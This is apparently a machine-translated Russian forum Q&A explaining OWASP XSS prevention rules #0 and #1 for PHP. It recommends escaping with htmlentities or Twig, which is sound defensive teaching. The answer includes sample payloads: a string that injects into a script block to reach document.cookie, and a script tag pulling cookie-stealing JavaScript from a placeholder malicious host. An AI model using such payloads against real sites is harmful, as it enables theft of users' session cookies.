Правила OWASP для межсайтовых сценариев?

Я читаю о XSS, чтобы научиться безопасности при работе с PHP. Я имею в виду Эта статья, в котором они говорят о XSS и некоторых правилах, которых следует придерживаться.

Может ли кто-нибудь объяснить мне правила № 0 и № 1? Я понимаю, что они сохраняют, но когда они говорят о ненадежных данных, они имеют в виду данные, введенные пользователем?

Я работаю над некоторыми формами, и я пытаюсь придерживаться этих правил, чтобы предотвратить XSS. Дело в том, что я никогда ничего не выдаю пользователю после заполнения формы. Все, что я делаю, это обрабатываю данные и сохраняю их в текстовые файлы. Я провел некоторую проверку на стороне клиента и много на стороне сервера, но я не могу понять, что они подразумевают под never insert untrusted data except in allowed locations,

От escaping они имеют в виду closing tags - </>?

0

Решение

Правило № 0 означает, что вы не должны выводить данные в тех местах вашей веб-страницы, где ожидается запуск инструкций.

Как показано в вашем URL, не помещайте данные, созданные пользователем, внутрь <script>теги. Например, это нет-нет:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>

Выглядит довольно безопасно, верно? Что ж, если ваша переменная $ username содержит следующие значения:

""; console.log(document.cookie);//

Итак, на веб-сайте вы будете отображать следующее:

<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>

Таким образом, кто-то может легко украсть куки вашего пользователя и повысить его привилегии. Теперь представьте, что вы используете похожий код, чтобы сказать, обновите, какой пользователь создал последнее сообщение и появился через AJAX. Это катастрофа, ожидающая того, что произойдет, если вы сделаете что-то, как указано выше (и не будете сначала очищать имя пользователя).

То же самое относится и к <style>,<img>, <embed>, <iframe> или любой другой тег, который позволяет запускать сценарии или импортировать ресурсы. Также относится к комментариям. Браузеры игнорируют комментарии, но некоторые интерпретаторы, такие как анализатор JSP, обрабатывают комментарии HTML как текст шаблона. Он не игнорирует его содержимое.

Правило № 1 очень похоже на правило № 0: если вы разрабатываете веб-приложения в тот или иной момент, вам придется выводить сгенерированные пользователем данные, будь то адрес электронной почты, имя пользователя, имя или что-то еще.

Если вы разрабатываете форум, возможно, вы захотите предоставить своим пользователям несколько стилей для их текста. Основные вещи, такие как жирные буквы, подчеркнутые и курсивом должно быть достаточно. Если вы хотите стать модным, вы даже можете позволить своим пользователям изменить шрифт.

Простой способ сделать это без особых сложностей — просто позволить пользователям писать свой собственный HTML, если они захотят это сделать, поэтому если вы выводите HTML от своих пользователей в «безопасных» местах, например, между <p> теги, то это тоже катастрофа.

Потому что я могу написать:

Привет всем, это мой первый пост <script src="//malicioussite.io/hackingYoCookiez.js"></script>!

Если вы не пропустите этот ввод, люди увидят только:

Привет всем, это мой первый пост!

но ваш браузер также увидит внешний javascript, который говорит ему отправлять все куки в удаленное местоположение.

Поэтому всегда избегайте данных. Если вы используете PHP, вы можете использовать htmlentities или используйте шаблонизатор, такой как Twig, который автоматически экранирует вывод.

0

Другие решения

Других решений пока нет …

По вопросам рекламы [email protected]